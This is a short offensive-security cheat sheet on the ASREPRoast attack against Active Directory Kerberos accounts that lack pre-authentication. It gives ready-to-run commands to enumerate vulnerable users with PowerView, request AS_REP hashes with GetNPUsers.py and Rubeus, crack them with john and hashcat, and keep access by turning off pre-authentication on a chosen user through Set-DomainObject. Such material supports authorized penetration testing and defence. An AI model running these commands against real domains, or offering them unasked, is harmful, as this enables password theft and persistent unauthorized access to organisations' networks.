ASREPRoast

ASREPRoast

The ASREPRoast attack looks for users without Kerberos pre-authentication required attribute (DONT_REQ_PREAUTH).

That means that anyone can send an AS_REQ request to the DC on behalf of any of those users, and receive an AS_REP message. This last kind of message contains a chunk of data encrypted with the original user key, derived from its password. Then, by using this message, the user password could be cracked offline.

Furthermore, no domain account is needed to perform this attack, only connection to the DC. However, with a domain account, a LDAP query can be used to retrieve users without Kerberos pre-authentication in the domain. Otherwise usernames have to be guessed.

Enumerating vulnerable users (need domain credentials)

Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView

Request AS_REP message

Using Linux

#Try all the usernames in usernames.txt
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
#Use domain creds to extract targets and target them
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast

Using Windows

.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast
Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)

Cracking

john --wordlist=passwords_kerb.txt hashes.asreproast
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt

Persistence

Force preauth not required for a user where you have GenericAll permissions (or permissions to write properties):

Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose

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